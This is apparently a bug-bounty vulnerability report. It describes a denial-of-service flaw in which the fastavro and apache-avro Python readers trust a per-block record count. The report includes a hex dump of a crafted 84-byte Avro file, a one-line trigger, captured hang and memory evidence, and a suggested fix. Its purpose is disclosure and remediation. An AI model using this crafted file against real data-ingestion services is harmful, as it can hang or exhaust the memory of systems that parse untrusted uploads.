EnigmaConsultant/huntr-poc-avro-blockcount-loop-dos

fastavro / apache-avro container reader — unvalidated per-block record count (block_count) drives an unbounded decode loop → CPU hang / unbounded memory (DoS)

Target libraries

• fastavro 1.12.2 (compiled Cython reader _read.cpython-313-x86_64-linux-gnu.so; pure-Python mirror fastavro/_read_py.py) — latest release at test time.
• avro (apache avro-python3) 1.12.1 — latest release at test time. Same flaw in DataFileReader.__next__.

Class: CWE-834 (Excessive Iteration) / CWE-400 (Uncontrolled Resource Consumption) / CWE-770 (Allocation Without Limits).

---

Summary

An Avro object-container file is a sequence of data blocks, each framed as:

[long block_count][long block_size][ block bytes ][16-byte sync]

block_count is a fully attacker-controlled zig-zag-encoded long (range up to 2^63−1). The reader uses it directly as a loop bound and never validates it against the number of bytes actually present in the (decompressed) block. When the writer schema is a type that consumes zero bytes per record — e.g. "null", or a record whose fields are all null — each decode returns immediately without advancing the block cursor, so the loop runs block_count times regardless of the real (tiny) payload.

A single 84-byte file can therefore declare ~4.6×10^18 records and drive the reader into an effectively infinite loop (CPU hang), or, under the extremely common list(reader) pattern, accumulate one object per declared record and exhaust memory (OOM).

This is a distinct code path from two previously filed Avro findings:

• decompression-bomb = codec (deflate/snappy/etc.) output expansion — this bug uses null codec, no decompression.
• recursion-DoS = deeply nested record/union schema recursion — this bug uses a trivial flat "null" schema, no recursion. Here the amplifier is purely the unvalidated integer block_count.

---

Root cause

fastavro/_read_py.py, _iter_avro_records (lines ~804–821; identical logic compiled into _read.so, which is what fastavro.reader() uses by default):

    block_count = 0
    while True:
        try:
            block_count = decoder.read_long()      # <-- attacker-controlled long, 0..2^63-1
        except EOFError:
            return

        block_fo = read_block(decoder)             # null codec: block bytes as-is (here: empty)

        for i in range(block_count):               # <-- no bound check vs block_size / bytes available
            yield read_data(
                BinaryDecoder(block_fo),
                writer_schema,                      # "null" => read_data consumes 0 bytes, returns None
                named_schemas,
                reader_schema,
                options,
            )

        skip_sync(decoder.fo, sync_marker)

Because read_data for the "null" schema consumes no bytes and returns None, the loop body never fails and never terminates early — it simply iterates block_count times. block_count is never checked against block_size or against the remaining bytes in block_fo.

Apache avro 1.12.1 has the identical defect in avro/datafile.py DataFileReader.__next__: it decrements self._block_count per read and reads a zero-byte null datum each iteration, refilling from the next block only when the counter hits zero.

---

PoC

loop_count62.avro — 84 bytes. Built from a valid null-schema / null-codec container, with the single data block's block_count field overwritten to zigzag(2^62), block_size = 0, and an empty block body:

$ xxd loop_count62.avro
00000000: 4f62 6a01 0414 6176 726f 2e63 6f64 6563  Obj...avro.codec
00000010: 086e 756c 6c16 6176 726f 2e73 6368 656d  .null.avro.schem
00000020: 610c 226e 756c 6c22 0012 d523 1dcc 8677  a."null"...#...w
00000030: 9502 c971 6ca6 224a be80 8080 8080 8080  ...ql."J........
00000040: 8080 0100 12d5 231d cc86 7795 02c9 716c  ......#...w...ql
00000050: a622 4abe                                ."J.

Header: 4f626a01 (Obj\x01) + metadata map (avro.codec=null, avro.schema="null") + 16-byte sync. Then the block: zigzag(2^62) = 80 80 80 80 80 80 80 80 80 01, zigzag(0) = 00, empty body, sync.

Trigger via the public API — no internal calls:

import fastavro
list(fastavro.reader(open("loop_count62.avro", "rb")))   # never returns

Repro scripts (in /home/kali/hunt-workspace/avro-audit/):

• loop_hang.py — iterate fastavro.reader(f), print progress (CPU hang).
• loop_bounded.py — bounded timing/amplification with smaller declared counts (loop_10000000.avro, loop_100000000.avro).
• loop_mem.py — recs = list(fastavro.reader(f)) (the common application pattern) → unbounded RSS growth.

---

Captured evidence (verbatim)

=== 2^62 block_count, 84-byte file, 8s timeout (CPU hang) ===
still spinning, n= 20000000 elapsed 1.2
still spinning, n= 40000000 elapsed 2.41
still spinning, n= 60000000 elapsed 3.62
still spinning, n= 80000000 elapsed 4.84
still spinning, n= 100000000 elapsed 6.05
still spinning, n= 120000000 elapsed 7.33
exit code: 124 (timed out => unbounded hang; 2^62 records ≈ 6500 years)

=== bounded amplification (fastavro.reader, iterate/count) ===
consumed 10000000 records in 0.495 s; RSS peak 19.4 MB; file size 78 bytes
consumed 100000000 records in 4.431 s; RSS peak 19.4 MB; file size 78 bytes

=== memory-exhaustion variant: recs=list(fastavro.reader(f)) (common app pattern) ===
len(list)= 100000000 RSS peak 781.3 MB in 124.73 s; file 78 bytes   (unbounded with larger declared count => OOM)

=== apache avro-python3 (avro 1.12.1) DataFileReader on same file ===
avro spinning n= 10000000 elapsed 4.85
avro exit: 124 (also hangs)

=== NEGATIVE CONTROL ===
legit records: [None, None, None] -> terminates normally

The negative control is a legitimately written 3-record null-schema file: the reader returns [None, None, None] and terminates. Only the tampered block_count produces the hang / unbounded allocation, confirming the declared count — not the file contents — is the amplifier.

---

Impact

Any service that parses untrusted Avro object-container files (data-ingestion pipelines, schema-registry-adjacent consumers, ML dataset loaders, log processors) can be forced into an unbounded CPU spin or memory exhaustion by an 84-byte upload. No authentication of file contents beyond "is it a valid Avro container" defends against it, since the file is a structurally valid container.

Suggested fix

Validate block_count before/while iterating:

• Track bytes consumed from block_fo per record; if the collective consumption is 0 while block_count > 0, the block cannot legitimately contain that many records — abort.
• Or cap block_count against block_size / the number of bytes remaining in the decompressed block (a record must consume ≥ some minimum, or at least the total cannot exceed available bytes for non-zero-width schemas), and reject blocks that declare more records than the payload can hold.

---

Dedup / prior art

• Distinct from EnigmaConsultant/huntr-poc-avro-decompression-bomb (codec output expansion) and EnigmaConsultant/huntr-poc-avro-fastavro-recursion-dos (nested-schema recursion). Different root cause, different code path, different amplifier (raw block_count integer).
• No existing CVE found for fastavro/apache-avro covering unvalidated block_count per-block record-count amplification in the Python readers at these versions (fastavro 1.12.2, avro 1.12.1).

Versions tested

• fastavro 1.12.2 (compiled _read.so, default fastavro.reader()).
• avro 1.12.1 (DataFileReader).
• Both latest on PyPI at test time (2026-07-16), Python 3.13, Linux x86-64.